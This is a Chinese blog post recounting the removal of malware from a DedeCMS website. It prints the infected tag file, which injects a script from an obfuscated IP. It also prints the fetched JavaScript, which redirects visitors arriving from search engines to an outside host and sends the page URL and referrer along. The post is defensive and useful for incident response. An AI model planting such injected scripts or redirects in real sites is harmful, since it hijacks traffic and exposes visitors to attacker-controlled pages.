dedecms被挂马排毒的过程
又经历了一次dedecms被挂马排毒的过程,排毒过程在这里跟大家分享一下。
挂马之后,网站的表现形式:
直接访问网站没有任何问题,从百度搜索的关键词访问网站,就跳转到另外一个网站。
根据我原来的排毒经验:很可能是有人在php里面写入了判断来路的代码,如果是经过百度来的,就跳转到另外一个网站,如果不是,就可以访问。
不过检查了一下php代码,没有发现任何问题。
从百度关键词访问过来的话,能够看到本网站的title,只是一闪而过,就跳转了。根据这个现象判断,马应该是在js里面。于是下载网站模板文件,查找可疑的js代码。找了很久没有找到。只好通过最笨的方法一点点排查。于是每一段写了一个alert。
找到最后出现的alert点击确定之后跳转,那么马就在那个alert附近。
找了一段时间,终于发现了一段可以的代码:{dede:dinfo}
做dedecms的人都知道,这个是一个自定义标签的调用方式,其源码在:/include/taglib/dinfo.lib.php里面。于是打开这个文件,看到如下代码:
[代码]php代码:
01
<?php
02
if
(!defined(
'DEDEINC'
)){
03
exit
(
"Request Error!"
);
04
}
05
/**
06
* 系统默认标签
07
*
08
* @version $Id: dinfo.lib.php 1 9:29 2010年7月6日Z tianya $
09
* @package DedeCMS.Taglib
10
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
11
* @license http://help.dedecms.com/usersguide/license.html
12
* @link http://www.dedecms.com
13
*/
14
15
/*>>dede>>
16
<name>系统默认标签</name>
17
<type>全局标记</type>
18
<for>V55,V56,V57</for>
19
<description>系统默认标签</description>
20
<demo>
21
{dede:dinfo /}
22
</demo>
23
<attributes>
24
</attributes>
25
>>dede>>*/
26
27
function
lib_dinfo()
28
{
29
global
$dsql
,
$envs
;
30
$revalue
=
'<script language="javascript" type="text/javascript" src="http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif"></script>'
;
31
return
$revalue
;
32
}
刚开始也没有看出什么问题,就是一段js代码,然后引用了一个图片,不过访问下这个图片地址就知道了,在浏览器中输入这个地址:http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif
能看到如下代码:
[代码]js代码:
1
GID89a=
""
;
2
var
s=document.referrer;
3
var
str=window.location.href;
4
if
(s.indexOf(
"go"
+
"o"
+
"gle"
)>0 || s.indexOf(
"b"
+
"ai"
+
"du"
)>0 || s.indexOf(
"y"
+
"ahoo"
)>0 || s.indexOf(
"s"
+
"ogou"
)>0 || s.indexOf(
"bing"
)>0 || s.indexOf(
"360"
)>0 || s.indexOf(
"s"
+
"os"
+
"o"
)>0 || s.indexOf(
"youdao"
)>0 )
5
window.location.href=
"http://118.244.215.213/Images/a2.asp?cpy="
+str+
"&kecy="
+s;
怎么样,看出问题来了吧?
简单解说一下:
[代码]js代码:
1
if
(s.indexOf(
"go"
+
"o"
+
"gle"
)>0 || s.indexOf(
"b"
+
"ai"
+
"du"
)>0 || s.indexOf(
"y"
+
"ahoo"
)>0 || s.indexOf(
"s"
+
"ogou"
)>0 || s.indexOf(
"bing"
)>0 || s.indexOf(
"360"
)>0 || s.indexOf(
"s"
+
"os"
+
"o"
)>0 || s.indexOf(
"youdao"
)>0 )
这里就是判断来路,如果来源是:google、百度、yahoo、sogou、bing、360、soso、youdao,就跳转到下面这个地址:
[代码]js代码:
1
http:
//118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;
(这个人可真够黑的,光拦截百度还不够,还要把这些常用的搜索都拦截了。)
这段代码挂的太隐蔽了,让我找了好久。在这里分享给大家,希望能够帮助需要的朋友。
除非注明,文章均为 PHP二次开发网 原创,转载请注明本文地址: http://www.php2.cc/article-865-1.html
dedecms被挂马排毒的过程的更多相关文章
- 织梦网站dedecms防止挂马的思路
DedeCms做为国内使用最为广泛使用人数最多的CMS之一,经常爆出漏洞,每个漏洞的爆出,影响都是一大片,轻则被人挂广告.弹框,重则服务器成为肉机,宝贵数据丢失.那么有什么办法可以提高DedeCms的 ...
- 织梦Dedecms容易被挂马文件以及可疑文件汇总
1. 被植入木马,然后网站打开后自动弹出博彩,赌博,色情网站,一般这种病毒的特征代码如下 二.织梦CMS被挂马清理方法 1.删除增加的管理员service.spider等用户名. 2.删除根目录的as ...
- 织梦dedecms修改include和plus重命名提高安全性防漏洞注入挂马
织梦dedecms是新手站长使用得比较多的一个建站开源程序,正因如此,也是被被入侵挂马比较多的程序.下面就来跟大家说一下怎么重新命名dedecms的include文件夹以及plus文件夹来提高网站的安 ...
- [No0000A1]人体排毒时间表,别再信了
经常可以看到有「人体排毒时间表」这样的说法,不同的媒体反复传播,大同小异.这些说法里,大多把人体的系统器官都给安排了一个特定的时段,认为在某时段是某器官的排毒时间,睡觉能排一切毒.事实上果真如此么?让 ...
- 织梦CMS被挂马特征汇总
一.织梦CMS被挂马特征汇总 2013织梦CMS被挂马特征汇总.最近很多朋友反应后台多了几个系统管理员用户:service.spider等,而且自己之前的管理员用户登陆时候会提示用户名不存在.还有朋友 ...
- 使用NB Exploit Kit攻击的APT样本分析——直接看流程图,就是网页挂马,利用java和flash等漏洞来在你主机安装和运行恶意软件
使用NB Exploit Kit攻击的APT样本分析 from:https://cloud.tencent.com/developer/article/1092136 1.起因 近期,安恒工程师在某网 ...
- ECMS清除挂马以及后台升级实战(从ecms6.6~ecms7.0)
当时状况 Windows Server 2008 R2 Enterprise + 帝国CMS6.6 + MySql server软件: Microsoft-IIS/7.5 操作系统: WINNT ...
- JS挂马攻防
JS挂马攻防实录 攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行(图1), ...
- wordpress网站被挂马以及防御方法
wordpress本身的安全性是非常的高的,一般不会被轻易的破解,被挂马,但是我们也不能够过度迷信wordpress的安全性,凡是连接上互联网的服务器和电脑,都存在被破解的风险性.所以我们在日常维护自 ...
随机推荐
- Flask SSTI利用方式的探索
Flask SSTI利用方式的探索 一.SSTI简介&环境搭建 一个统一风格的站点,其大多数页面样式都是一致的,只是每个页面显示的内容各不相同.要是所有的逻辑都放在前端进行,无疑会影响响应 ...
- python简单操作excel
python操作excel 写入excel # 写入excel import xlwt # 创建xls对象 wb = xlwt.Workbook() # 新增两个表单页(sheet1) sh1 = w ...
- 最详细STL(一)vector
vector的本质还是数组,但是可以动态的增加和减少数组的容量(当数组空间内存不足时,都会执行: 分配新空间-复制元素-释放原空间),首先先讲讲vector和数组的具体区别 一.vector和数组的区 ...
- Stream之高级函数
上回文说到了有关Stream一些数学函数的用法.今天来说下Stream一些高级的函数用法,这些函数在日常工作中也是必不可少的,测试数据还是引用上一篇的数据. Map 这个方法我个人称之为转换函数,把一 ...
- 洛谷2408不同字串个数/SPOJ 694/705 (后缀数组SA)
真是一个三倍经验好题啊. 我们来观察这个题目,首先如果直接整体计算,怕是不太好计算. 首先,我们可以将每个子串都看成一个后缀的的前缀.那我们就可以考虑一个一个后缀来计算了. 为了方便起见,我们选择按照 ...
- 【高热FAQ】关于智慧康养物联网加速器 ,你想知道的都在这
摘要:从软硬件解决方案.设备接入到资源扶持,一文梳理智慧康养物联网加速器中ISV最关心的问题. 本文分享自华为云社区<[高热FAQ]关于智慧康养物联网加速器 ,你想知道的都在这>,作者:技 ...
- dubbo注册中心占位符无法解析问题
dubbo注册中心占位符无法解析问题 1.背景 最近搞了2个老项目,想把他们融合到一起.这俩项目情况简介如下: 项目一:基于SpringMVC + dubbo,配置读取本地properties文件,少 ...
- 自定义ConditionalOnXX注解
一.Conditional注解介绍 对SpringBoot有足够了解的小伙伴应该都用过Conditional系列注解,该注解可用在类或者方法上用于控制Bean的初始化. 常用的Conditional注 ...
- javascript-jquery-文档处理
一.移动元素 1.append():向每个匹配元素的内部追加内容.例如:$("选择器1").qppend("选择器2"):将会匹配选择器2的元素,移动到匹配选择 ...
- 81. 搜索旋转排序数组 II
题目 已知存在一个按非降序排列的整数数组 nums ,数组中的值不必互不相同. 在传递给函数之前,nums 在预先未知的某个下标 k(0 <= k < nums.length)上进行了 旋 ...